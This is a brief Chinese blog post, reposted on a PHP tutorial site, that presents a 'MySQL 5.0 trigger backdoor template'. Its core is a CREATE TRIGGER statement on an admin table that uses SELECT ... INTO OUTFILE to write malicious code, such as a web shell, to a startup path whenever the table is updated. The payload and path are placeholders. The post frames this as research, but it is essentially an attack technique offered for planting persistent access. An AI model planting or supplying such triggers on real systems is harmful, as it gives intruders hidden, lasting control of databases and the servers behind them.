Home >Database >Mysql Tutorial >mysql5.0触发器后门尝试_MySQL

mysql5.0触发器后门尝试_MySQL

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOriginal
2016-06-01 13:56:271339browse

mysql5.0是支持触发器的。看到有的只是mssql的。

以下给出一个简单mysql触发器后门模板,研究而已,就不写成脚本了。

CREATE TRIGGER Ha0K AFTER UPDATE ON admin FOR  EACH ROW SELECT '恶意代码' into  outfile 恶意文件路径(如启动项);

当更新admin表的时候就出发该后门,自动在规定的地方导出恶意文件,如shell等。

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn